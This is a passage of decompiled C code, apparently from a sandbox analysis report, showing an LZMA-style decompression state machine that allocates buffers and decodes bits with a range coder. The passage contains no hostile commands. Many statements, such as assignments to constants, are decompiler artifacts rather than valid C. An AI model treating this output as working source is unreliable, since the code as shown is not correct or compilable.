								 *(_t621 - 0x10) =  *(_t621 - 0x10) << 8;
								 *(_t621 - 0x6c) =  *(_t621 - 0x6c) - 1;
								 *(_t621 - 0x70) =  &(( *(_t621 - 0x70))[1]);
								 *(_t621 - 0xc) =  *(_t621 - 0xc) << 0x00000008 |  *( *(_t621 - 0x70)) & 0x000000ff;
								L139:
								_t542 =  *(_t621 - 0x84);
								while(1) {
									 *(_t621 - 0x88) = _t542;
									while(1) {
										L1:
										_t543 =  *(_t621 - 0x88);
										if(_t543 > 0x1c) {
											break;
										}
										switch( *((intOrPtr*)(_t543 * 4 +  &M00406A77))) {
											case 0:
												if( *(_t621 - 0x6c) == 0) {
													goto L170;
												}
												 *(_t621 - 0x6c) =  *(_t621 - 0x6c) - 1;
												 *(_t621 - 0x70) =  &(( *(_t621 - 0x70))[1]);
												_t543 =  *( *(_t621 - 0x70));
												if(_t543 > 0xe1) {
													goto L171;
												}
												_t547 = _t543 & 0x000000ff;
												_push(0x2d);
												asm("cdq");
												_pop(_t578);
												_push(9);
												_pop(_t579);
												_t617 = _t547 / _t578;
												_t549 = _t547 % _t578 & 0x000000ff;
												asm("cdq");
												_t612 = _t549 % _t579 & 0x000000ff;
												 *(_t621 - 0x3c) = _t612;
												 *(_t621 - 0x1c) = (1 << _t617) - 1;
												 *((intOrPtr*)(_t621 - 0x18)) = (1 << _t549 / _t579) - 1;
												_t620 = (0x300 << _t612 + _t617) + 0x736;
												if(0x600 ==  *((intOrPtr*)(_t621 - 0x78))) {
													L10:
													if(_t620 == 0) {
														L12:
														 *(_t621 - 0x48) =  *(_t621 - 0x48) & 0x00000000;
														 *(_t621 - 0x40) =  *(_t621 - 0x40) & 0x00000000;
														goto L15;
													} else {
														goto L11;
													}
													do {
														L11:
														_t620 = _t620 - 1;
														 *((short*)( *(_t621 - 4) + _t620 * 2)) = 0x400;
													} while (_t620 != 0);
													goto L12;
												}
												if( *(_t621 - 4) != 0) {
													GlobalFree( *(_t621 - 4));
												}
												_t543 = GlobalAlloc(0x40, 0x600); // executed
												 *(_t621 - 4) = _t543;
												if(_t543 == 0) {
													goto L171;
												} else {
													 *((intOrPtr*)(_t621 - 0x78)) = 0x600;
													goto L10;
												}
											case 1:
												L13:
												__eflags =  *(_t621 - 0x6c);
												if( *(_t621 - 0x6c) == 0) {
													 *(_t621 - 0x88) = 1;
													goto L170;
												}
												 *(_t621 - 0x6c) =  *(_t621 - 0x6c) - 1;
												 *(_t621 - 0x40) =  *(_t621 - 0x40) | ( *( *(_t621 - 0x70)) & 0x000000ff) <<  *(_t621 - 0x48) << 0x00000003;
												 *(_t621 - 0x70) =  &(( *(_t621 - 0x70))[1]);
												_t45 = _t621 - 0x48;
												 *_t45 =  *(_t621 - 0x48) + 1;
												__eflags =  *_t45;
												L15:
												if( *(_t621 - 0x48) < 4) {
													goto L13;
												}
												_t555 =  *(_t621 - 0x40);
												if(_t555 ==  *(_t621 - 0x74)) {
													L20:
													 *(_t621 - 0x48) = 5;
													 *( *(_t621 - 8) +  *(_t621 - 0x74) - 1) =  *( *(_t621 - 8) +  *(_t621 - 0x74) - 1) & 0x00000000;
													goto L23;
												}
												 *(_t621 - 0x74) = _t555;
												if( *(_t621 - 8) != 0) {
													GlobalFree( *(_t621 - 8)); // executed
												}
												_t543 = GlobalAlloc(0x40,  *(_t621 - 0x40)); // executed
												 *(_t621 - 8) = _t543;
												if(_t543 == 0) {
													goto L171;
												} else {
													goto L20;
												}
											case 2:
												L24:
												_t562 =  *(_t621 - 0x60) &  *(_t621 - 0x1c);
												 *(_t621 - 0x84) = 6;
												 *(_t621 - 0x4c) = _t562;
												_t614 =  *(_t621 - 4) + (( *(_t621 - 0x38) << 4) + _t562) * 2;
												goto L132;
											case 3:
												L21:
												__eflags =  *(_t621 - 0x6c);
												if( *(_t621 - 0x6c) == 0) {
													 *(_t621 - 0x88) = 3;
													goto L170;
												}
												 *(_t621 - 0x6c) =  *(_t621 - 0x6c) - 1;
												_t67 = _t621 - 0x70;
												 *_t67 =  &(( *(_t621 - 0x70))[1]);
												__eflags =  *_t67;
												 *(_t621 - 0xc) =  *(_t621 - 0xc) << 0x00000008 |  *( *(_t621 - 0x70)) & 0x000000ff;
												L23:
												 *(_t621 - 0x48) =  *(_t621 - 0x48) - 1;
												if( *(_t621 - 0x48) != 0) {
													goto L21;
												}
												goto L24;
											case 4:
												L133:
												_t540 =  *_t614;
												_t597 = _t540 & 0x0000ffff;
												_t573 = ( *(_t621 - 0x10) >> 0xb) * _t597;
												if( *(_t621 - 0xc) >= _t573) {
													 *(_t621 - 0x10) =  *(_t621 - 0x10) - _t573;
													 *(_t621 - 0xc) =  *(_t621 - 0xc) - _t573;
													 *(_t621 - 0x40) = 1;
													_t541 = _t540 - (_t540 >> 5);
													 *_t614 = _t541;
												} else {
													 *(_t621 - 0x10) = _t573;
													 *(_t621 - 0x40) =  *(_t621 - 0x40) & 0x00000000;
													 *_t614 = (0x800 - _t597 >> 5) + _t540;
												}
												if( *(_t621 - 0x10) >= 0x1000000) {
													goto L139;
												}
											case 5:
												goto L137;
											case 6:
												__edx = 0;
												__eflags =  *(__ebp - 0x40);
												if( *(__ebp - 0x40) != 0) {
													__eax =  *(__ebp - 4);
													__ecx =  *(__ebp - 0x38);
													 *(__ebp - 0x34) = 1;
													 *(__ebp - 0x84) = 7;
													__esi =  *(__ebp - 4) + 0x180 +  *(__ebp - 0x38) * 2;
													L132:
													 *(_t621 - 0x54) = _t614;
													goto L133;
												}
												__eax =  *(__ebp - 0x5c) & 0x000000ff;
												__esi =  *(__ebp - 0x60);
												__cl = 8;
												__cl = 8 -  *(__ebp - 0x3c);
												__esi =  *(__ebp - 0x60) &  *(__ebp - 0x18);
												__eax = ( *(__ebp - 0x5c) & 0x000000ff) >> 8;
												__ecx =  *(__ebp - 0x3c);
												__esi = ( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8;
												__ecx =  *(__ebp - 4);
												(( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) = (( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2;
												__eax = (( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9;
												__eflags =  *(__ebp - 0x38) - 4;
												__eax = ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9) +  *(__ebp - 4) + 0xe6c;
												 *(__ebp - 0x58) = ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9) +  *(__ebp - 4) + 0xe6c;
												if( *(__ebp - 0x38) >= 4) {
													__eflags =  *(__ebp - 0x38) - 0xa;
													if( *(__ebp - 0x38) >= 0xa) {
														_t98 = __ebp - 0x38;
														 *_t98 =  *(__ebp - 0x38) - 6;
														__eflags =  *_t98;
													} else {
														 *(__ebp - 0x38) =  *(__ebp - 0x38) - 3;
													}
												} else {
													 *(__ebp - 0x38) = 0;
												}
												__eflags =  *(__ebp - 0x34) - __edx;
												if( *(__ebp - 0x34) == __edx) {
													__ebx = 0;
													__ebx = 1;
													goto L61;
												} else {
													__eax =  *(__ebp - 0x14);
													__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
													__eflags = __eax -  *(__ebp - 0x74);
													if(__eax >=  *(__ebp - 0x74)) {
														__eax = __eax +  *(__ebp - 0x74);
														__eflags = __eax;
													}
													__ecx =  *(__ebp - 8);
													__ebx = 0;
													__ebx = 1;
													__al =  *((intOrPtr*)(__eax + __ecx));
													 *(__ebp - 0x5b) =  *((intOrPtr*)(__eax + __ecx));
													goto L41;
												}
											case 7:
												goto L0;
											case 8:
												__eflags =  *(__ebp - 0x40);
												if( *(__ebp - 0x40) != 0) {
													__eax =  *(__ebp - 4);
													__ecx =  *(__ebp - 0x38);
													 *(__ebp - 0x84) = 0xa;
													__esi =  *(__ebp - 4) + 0x1b0 +  *(__ebp - 0x38) * 2;
												} else {
													__eax =  *(__ebp - 0x38);
													__ecx =  *(__ebp - 4);
													__eax =  *(__ebp - 0x38) + 0xf;
													 *(__ebp - 0x84) = 9;
													 *(__ebp - 0x38) + 0xf << 4 = ( *(__ebp - 0x38) + 0xf << 4) +  *(__ebp - 0x4c);
													__esi =  *(__ebp - 4) + (( *(__ebp - 0x38) + 0xf << 4) +  *(__ebp - 0x4c)) * 2;
												}
												while(1) {
													L132:
													 *(_t621 - 0x54) = _t614;
													goto L133;
												}
											case 9:
												__eflags =  *(__ebp - 0x40);
												if( *(__ebp - 0x40) != 0) {
													goto L89;
												}
												__eflags =  *(__ebp - 0x60);
												if( *(__ebp - 0x60) == 0) {
													goto L171;
												}
												__eax = 0;
												__eflags =  *(__ebp - 0x38) - 7;
												_t258 =  *(__ebp - 0x38) - 7 >= 0;
												__eflags = _t258;
												0 | _t258 = _t258 + _t258 + 9;
												 *(__ebp - 0x38) = _t258 + _t258 + 9;
												goto L75;
											case 0xa:
												__eflags =  *(__ebp - 0x40);
												if( *(__ebp - 0x40) != 0) {
													__eax =  *(__ebp - 4);
													__ecx =  *(__ebp - 0x38);
													 *(__ebp - 0x84) = 0xb;
													__esi =  *(__ebp - 4) + 0x1c8 +  *(__ebp - 0x38) * 2;
													while(1) {
														L132:
														 *(_t621 - 0x54) = _t614;
														goto L133;
													}
												}
												__eax =  *(__ebp - 0x28);
												goto L88;
											case 0xb:
												__eflags =  *(__ebp - 0x40);
												if( *(__ebp - 0x40) != 0) {
													__ecx =  *(__ebp - 0x24);
													__eax =  *(__ebp - 0x20);
													 *(__ebp - 0x20) =  *(__ebp - 0x24);
												} else {
													__eax =  *(__ebp - 0x24);
												}
												__ecx =  *(__ebp - 0x28);
												 *(__ebp - 0x24) =  *(__ebp - 0x28);
												L88:
												__ecx =  *(__ebp - 0x2c);
												 *(__ebp - 0x2c) = __eax;
												 *(__ebp - 0x28) =  *(__ebp - 0x2c);
												L89:
												__eax =  *(__ebp - 4);
												 *(__ebp - 0x80) = 0x15;
												__eax =  *(__ebp - 4) + 0xa68;
												 *(__ebp - 0x58) =  *(__ebp - 4) + 0xa68;
												goto L68;
											case 0xc:
												L99:
												__eflags =  *(__ebp - 0x6c);
												if( *(__ebp - 0x6c) == 0) {
													 *(__ebp - 0x88) = 0xc;
													goto L170;
												}
												__ecx =  *(__ebp - 0x70);
												__eax =  *(__ebp - 0xc);
												 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
												__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
												 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
												 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												_t334 = __ebp - 0x70;
												 *_t334 =  *(__ebp - 0x70) + 1;
												__eflags =  *_t334;
												 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												__eax =  *(__ebp - 0x2c);
												goto L101;
											case 0xd:
												L37:
												__eflags =  *(__ebp - 0x6c);
												if( *(__ebp - 0x6c) == 0) {
													 *(__ebp - 0x88) = 0xd;
													goto L170;
												}
												__ecx =  *(__ebp - 0x70);
												__eax =  *(__ebp - 0xc);
												 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
												__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
												 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
												 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												_t122 = __ebp - 0x70;
												 *_t122 =  *(__ebp - 0x70) + 1;
												__eflags =  *_t122;
												 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												L39:
												__eax =  *(__ebp - 0x40);
												__eflags =  *(__ebp - 0x48) -  *(__ebp - 0x40);
												if( *(__ebp - 0x48) !=  *(__ebp - 0x40)) {
													goto L48;
												}
												__eflags = __ebx - 0x100;
												if(__ebx >= 0x100) {
													goto L54;
												}
												L41:
												__eax =  *(__ebp - 0x5b) & 0x000000ff;
												 *(__ebp - 0x5b) =  *(__ebp - 0x5b) << 1;
												__ecx =  *(__ebp - 0x58);
												__eax = ( *(__ebp - 0x5b) & 0x000000ff) >> 7;
												 *(__ebp - 0x48) = __eax;
												__eax = __eax + 1;
												__eax = __eax << 8;
												__eax = __eax + __ebx;
												__esi =  *(__ebp - 0x58) + __eax * 2;
												 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
												__ax =  *__esi;
												 *(__ebp - 0x54) = __esi;
												__edx = __ax & 0x0000ffff;
												__ecx = ( *(__ebp - 0x10) >> 0xb) * __edx;
												__eflags =  *(__ebp - 0xc) - __ecx;
												if( *(__ebp - 0xc) >= __ecx) {
													 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
													 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
													__cx = __ax;
													 *(__ebp - 0x40) = 1;
													__cx = __ax >> 5;
													__eflags = __eax;
													__ebx = __ebx + __ebx + 1;
													 *__esi = __ax;
												} else {
													 *(__ebp - 0x40) =  *(__ebp - 0x40) & 0x00000000;
													 *(__ebp - 0x10) = __ecx;
													0x800 = 0x800 - __edx;
													0x800 - __edx >> 5 = (0x800 - __edx >> 5) + __eax;
													__ebx = __ebx + __ebx;
													 *__esi = __cx;
												}
												__eflags =  *(__ebp - 0x10) - 0x1000000;
												 *(__ebp - 0x44) = __ebx;
												if( *(__ebp - 0x10) >= 0x1000000) {
													goto L39;
												} else {
													goto L37;
												}
											case 0xe:
												L46:
												__eflags =  *(__ebp - 0x6c);
												if( *(__ebp - 0x6c) == 0) {
													 *(__ebp - 0x88) = 0xe;
													goto L170;
												}
												__ecx =  *(__ebp - 0x70);
												__eax =  *(__ebp - 0xc);
												 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
												__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
												 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
												 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												_t156 = __ebp - 0x70;
												 *_t156 =  *(__ebp - 0x70) + 1;
												__eflags =  *_t156;
												 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												while(1) {
													L48:
													__eflags = __ebx - 0x100;
													if(__ebx >= 0x100) {
														break;
													}
													__eax =  *(__ebp - 0x58);
													__edx = __ebx + __ebx;
													__ecx =  *(__ebp - 0x10);
													__esi = __edx + __eax;
													__ecx =  *(__ebp - 0x10) >> 0xb;
													__ax =  *__esi;
													 *(__ebp - 0x54) = __esi;
													__edi = __ax & 0x0000ffff;
													__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
													__eflags =  *(__ebp - 0xc) - __ecx;
													if( *(__ebp - 0xc) >= __ecx) {
														 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
														 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
														__cx = __ax;
														_t170 = __edx + 1; // 0x1
														__ebx = _t170;
														__cx = __ax >> 5;
														__eflags = __eax;
														 *__esi = __ax;
													} else {
														 *(__ebp - 0x10) = __ecx;
														0x800 = 0x800 - __edi;
														0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
														__ebx = __ebx + __ebx;
														 *__esi = __cx;
													}
													__eflags =  *(__ebp - 0x10) - 0x1000000;
													 *(__ebp - 0x44) = __ebx;
													if( *(__ebp - 0x10) >= 0x1000000) {
														continue;
													} else {
														goto L46;
													}
												}
												L54:
												_t173 = __ebp - 0x34;
												 *_t173 =  *(__ebp - 0x34) & 0x00000000;
												__eflags =  *_t173;
												goto L55;
											case 0xf:
												L58:
												__eflags =  *(__ebp - 0x6c);
												if( *(__ebp - 0x6c) == 0) {
													 *(__ebp - 0x88) = 0xf;
													goto L170;
												}
												__ecx =  *(__ebp - 0x70);
												__eax =  *(__ebp - 0xc);
												 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
												__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
												 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
												 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												_t203 = __ebp - 0x70;
												 *_t203 =  *(__ebp - 0x70) + 1;
												__eflags =  *_t203;
												 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												L60:
												__eflags = __ebx - 0x100;
												if(__ebx >= 0x100) {
													L55:
													__al =  *(__ebp - 0x44);
													 *(__ebp - 0x5c) =  *(__ebp - 0x44);
													goto L56;
												}
												L61:
												__eax =  *(__ebp - 0x58);
												__edx = __ebx + __ebx;
												__ecx =  *(__ebp - 0x10);
												__esi = __edx + __eax;
												__ecx =  *(__ebp - 0x10) >> 0xb;
												__ax =  *__esi;
												 *(__ebp - 0x54) = __esi;
												__edi = __ax & 0x0000ffff;
												__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
												__eflags =  *(__ebp - 0xc) - __ecx;
												if( *(__ebp - 0xc) >= __ecx) {
													 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
													 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
													__cx = __ax;
													_t217 = __edx + 1; // 0x1
													__ebx = _t217;
													__cx = __ax >> 5;
													__eflags = __eax;
													 *__esi = __ax;
												} else {
													 *(__ebp - 0x10) = __ecx;
													0x800 = 0x800 - __edi;
													0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
													__ebx = __ebx + __ebx;
													 *__esi = __cx;
												}
												__eflags =  *(__ebp - 0x10) - 0x1000000;
												 *(__ebp - 0x44) = __ebx;
												if( *(__ebp - 0x10) >= 0x1000000) {
													goto L60;
												} else {
													goto L58;
												}
											case 0x10:
												L109:
												__eflags =  *(__ebp - 0x6c);
												if( *(__ebp - 0x6c) == 0) {
													 *(__ebp - 0x88) = 0x10;
													goto L170;
												}
												__ecx =  *(__ebp - 0x70);
												__eax =  *(__ebp - 0xc);
												 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
												__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
												 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
												 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												_t365 = __ebp - 0x70;
												 *_t365 =  *(__ebp - 0x70) + 1;
												__eflags =  *_t365;
												 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												goto L111;
											case 0x11:
												L68:
												_t614 =  *(_t621 - 0x58);
												 *(_t621 - 0x84) = 0x12;
												while(1) {
													L132:
													 *(_t621 - 0x54) = _t614;
													goto L133;
												}
											case 0x12:
												__eflags =  *(__ebp - 0x40);
												if( *(__ebp - 0x40) != 0) {
													__eax =  *(__ebp - 0x58);
													 *(__ebp - 0x84) = 0x13;
													__esi =  *(__ebp - 0x58) + 2;
													while(1) {
														L132:
														 *(_t621 - 0x54) = _t614;
														goto L133;
													}
												}
												__eax =  *(__ebp - 0x4c);
												 *(__ebp - 0x30) =  *(__ebp - 0x30) & 0x00000000;
												__ecx =  *(__ebp - 0x58);
												__eax =  *(__ebp - 0x4c) << 4;
												__eflags = __eax;
												__eax =  *(__ebp - 0x58) + __eax + 4;
												goto L130;
											case 0x13:
												__eflags =  *(__ebp - 0x40);
												if( *(__ebp - 0x40) != 0) {
													_t469 = __ebp - 0x58;
													 *_t469 =  *(__ebp - 0x58) + 0x204;
													__eflags =  *_t469;
													 *(__ebp - 0x30) = 0x10;
													 *(__ebp - 0x40) = 8;
													L144:
													 *(__ebp - 0x7c) = 0x14;
													goto L145;
												}
												__eax =  *(__ebp - 0x4c);
												__ecx =  *(__ebp - 0x58);
												__eax =  *(__ebp - 0x4c) << 4;
												 *(__ebp - 0x30) = 8;
												__eax =  *(__ebp - 0x58) + ( *(__ebp - 0x4c) << 4) + 0x104;
												L130:
												 *(__ebp - 0x58) = __eax;
												 *(__ebp - 0x40) = 3;
												goto L144;
											case 0x14:
												 *(__ebp - 0x30) =  *(__ebp - 0x30) + __ebx;
												__eax =  *(__ebp - 0x80);
												 *(_t621 - 0x88) = _t542;
												goto L1;
											case 0x15:
												__eax = 0;
												__eflags =  *(__ebp - 0x38) - 7;
												0 | __eflags >= 0x00000000 = (__eflags >= 0) - 1;
												__al = __al & 0x000000fd;
												__eax = (__eflags >= 0) - 1 + 0xb;
												 *(__ebp - 0x38) = (__eflags >= 0) - 1 + 0xb;
												goto L120;
											case 0x16:
												__eax =  *(__ebp - 0x30);
												__eflags = __eax - 4;
												if(__eax >= 4) {
													_push(3);
													_pop(__eax);
												}
												__ecx =  *(__ebp - 4);
												 *(__ebp - 0x40) = 6;
												__eax = __eax << 7;
												 *(__ebp - 0x7c) = 0x19;
												 *(__ebp - 0x58) = __eax;
												goto L145;
											case 0x17:
												L145:
												__eax =  *(__ebp - 0x40);
												 *(__ebp - 0x50) = 1;
												 *(__ebp - 0x48) =  *(__ebp - 0x40);
												goto L149;
											case 0x18:
												L146:
												__eflags =  *(__ebp - 0x6c);
												if( *(__ebp - 0x6c) == 0) {
													 *(__ebp - 0x88) = 0x18;
													goto L170;
												}
												__ecx =  *(__ebp - 0x70);
												__eax =  *(__ebp - 0xc);
												 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
												__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
												 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
												 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												_t484 = __ebp - 0x70;
												 *_t484 =  *(__ebp - 0x70) + 1;
												__eflags =  *_t484;
												 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												L148:
												_t487 = __ebp - 0x48;
												 *_t487 =  *(__ebp - 0x48) - 1;
												__eflags =  *_t487;
												L149:
												__eflags =  *(__ebp - 0x48);
												if( *(__ebp - 0x48) <= 0) {
													__ecx =  *(__ebp - 0x40);
													__ebx =  *(__ebp - 0x50);
													0 = 1;
													__eax = 1 << __cl;
													__ebx =  *(__ebp - 0x50) - (1 << __cl);
													__eax =  *(__ebp - 0x7c);
													 *(__ebp - 0x44) = __ebx;
													while(1) {
														 *(_t621 - 0x88) = _t542;
														goto L1;
													}
												}
												__eax =  *(__ebp - 0x50);
												 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
												__edx =  *(__ebp - 0x50) +  *(__ebp - 0x50);
												__eax =  *(__ebp - 0x58);
												__esi = __edx + __eax;
												 *(__ebp - 0x54) = __esi;
												__ax =  *__esi;
												__edi = __ax & 0x0000ffff;
												__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
												__eflags =  *(__ebp - 0xc) - __ecx;
												if( *(__ebp - 0xc) >= __ecx) {
													 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
													 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
													__cx = __ax;
													__cx = __ax >> 5;
													__eax = __eax - __ecx;
													__edx = __edx + 1;
													__eflags = __edx;
													 *__esi = __ax;
													 *(__ebp - 0x50) = __edx;
												} else {
													 *(__ebp - 0x10) = __ecx;
													0x800 = 0x800 - __edi;
													0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
													 *(__ebp - 0x50) =  *(__ebp - 0x50) << 1;
													 *__esi = __cx;
												}
												__eflags =  *(__ebp - 0x10) - 0x1000000;
												if( *(__ebp - 0x10) >= 0x1000000) {
													goto L148;
												} else {
													goto L146;
												}
											case 0x19:
												__eflags = __ebx - 4;
												if(__ebx < 4) {
													 *(__ebp - 0x2c) = __ebx;
													L119:
													_t393 = __ebp - 0x2c;
													 *_t393 =  *(__ebp - 0x2c) + 1;
													__eflags =  *_t393;
													L120:
													__eax =  *(__ebp - 0x2c);
													__eflags = __eax;
													if(__eax == 0) {
														 *(__ebp - 0x30) =  *(__ebp - 0x30) | 0xffffffff;
														goto L170;
													}
													__eflags = __eax -  *(__ebp - 0x60);
													if(__eax >  *(__ebp - 0x60)) {
														goto L171;
													}
													 *(__ebp - 0x30) =  *(__ebp - 0x30) + 2;
													__eax =  *(__ebp - 0x30);
													_t400 = __ebp - 0x60;
													 *_t400 =  *(__ebp - 0x60) +  *(__ebp - 0x30);
													__eflags =  *_t400;
													goto L123;
												}
												__ecx = __ebx;
												__eax = __ebx;
												__ecx = __ebx >> 1;
												__eax = __ebx & 0x00000001;
												__ecx = (__ebx >> 1) - 1;
												__al = __al | 0x00000002;
												__eax = (__ebx & 0x00000001) << __cl;
												__eflags = __ebx - 0xe;
												 *(__ebp - 0x2c) = __eax;
												if(__ebx >= 0xe) {
													__ebx = 0;
													 *(__ebp - 0x48) = __ecx;
													L102:
													__eflags =  *(__ebp - 0x48);
													if( *(__ebp - 0x48) <= 0) {
														__eax = __eax + __ebx;
														 *(__ebp - 0x40) = 4;
														 *(__ebp - 0x2c) = __eax;
														__eax =  *(__ebp - 4);
														__eax =  *(__ebp - 4) + 0x644;
														__eflags = __eax;
														L108:
														__ebx = 0;
														 *(__ebp - 0x58) = __eax;
														 *(__ebp - 0x50) = 1;
														 *(__ebp - 0x44) = 0;
														 *(__ebp - 0x48) = 0;
														L112:
														__eax =  *(__ebp - 0x40);
														__eflags =  *(__ebp - 0x48) -  *(__ebp - 0x40);
														if( *(__ebp - 0x48) >=  *(__ebp - 0x40)) {
															_t391 = __ebp - 0x2c;
															 *_t391 =  *(__ebp - 0x2c) + __ebx;
															__eflags =  *_t391;
															goto L119;
														}
														__eax =  *(__ebp - 0x50);
														 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
														__edi =  *(__ebp - 0x50) +  *(__ebp - 0x50);
														__eax =  *(__ebp - 0x58);
														__esi = __edi + __eax;
														 *(__ebp - 0x54) = __esi;
														__ax =  *__esi;
														__ecx = __ax & 0x0000ffff;
														__edx = ( *(__ebp - 0x10) >> 0xb) * __ecx;
														__eflags =  *(__ebp - 0xc) - __edx;
														if( *(__ebp - 0xc) >= __edx) {
															__ecx = 0;
															 *(__ebp - 0x10) =  *(__ebp - 0x10) - __edx;
															__ecx = 1;
															 *(__ebp - 0xc) =  *(__ebp - 0xc) - __edx;
															__ebx = 1;
															__ecx =  *(__ebp - 0x48);
															__ebx = 1 << __cl;
															__ecx = 1 << __cl;
															__ebx =  *(__ebp - 0x44);
															__ebx =  *(__ebp - 0x44) | __ecx;
															__cx = __ax;
															__cx = __ax >> 5;
															__eax = __eax - __ecx;
															__edi = __edi + 1;
															__eflags = __edi;
															 *(__ebp - 0x44) = __ebx;
															 *__esi = __ax;
															 *(__ebp - 0x50) = __edi;
														} else {
															 *(__ebp - 0x10) = __edx;
															0x800 = 0x800 - __ecx;
															0x800 - __ecx >> 5 = (0x800 - __ecx >> 5) + __eax;
															 *(__ebp - 0x50) =  *(__ebp - 0x50) << 1;
															 *__esi = __dx;
														}
														__eflags =  *(__ebp - 0x10) - 0x1000000;
														if( *(__ebp - 0x10) >= 0x1000000) {
															L111:
															_t368 = __ebp - 0x48;
															 *_t368 =  *(__ebp - 0x48) + 1;
															__eflags =  *_t368;
															goto L112;
														} else {
															goto L109;
														}
													}
													__ecx =  *(__ebp - 0xc);
													__ebx = __ebx + __ebx;
													 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 1;
													__eflags =  *(__ebp - 0xc) -  *(__ebp - 0x10);
													 *(__ebp - 0x44) = __ebx;
													if( *(__ebp - 0xc) >=  *(__ebp - 0x10)) {
														__ecx =  *(__ebp - 0x10);
														 *(__ebp - 0xc) =  *(__ebp - 0xc) -  *(__ebp - 0x10);
														__ebx = __ebx | 0x00000001;
														__eflags = __ebx;
														 *(__ebp - 0x44) = __ebx;
													}
													__eflags =  *(__ebp - 0x10) - 0x1000000;
													if( *(__ebp - 0x10) >= 0x1000000) {
														L101:
														_t338 = __ebp - 0x48;
														 *_t338 =  *(__ebp - 0x48) - 1;
														__eflags =  *_t338;
														goto L102;
													} else {
														goto L99;
													}
												}
												__edx =  *(__ebp - 4);
												__eax = __eax - __ebx;
												 *(__ebp - 0x40) = __ecx;
												__eax =  *(__ebp - 4) + 0x55e + __eax * 2;
												goto L108;
											case 0x1a:
												L56:
												__eflags =  *(__ebp - 0x64);
												if( *(__ebp - 0x64) == 0) {
													 *(__ebp - 0x88) = 0x1a;
													goto L170;
												}
												__ecx =  *(__ebp - 0x68);
												__al =  *(__ebp - 0x5c);
												__edx =  *(__ebp - 8);
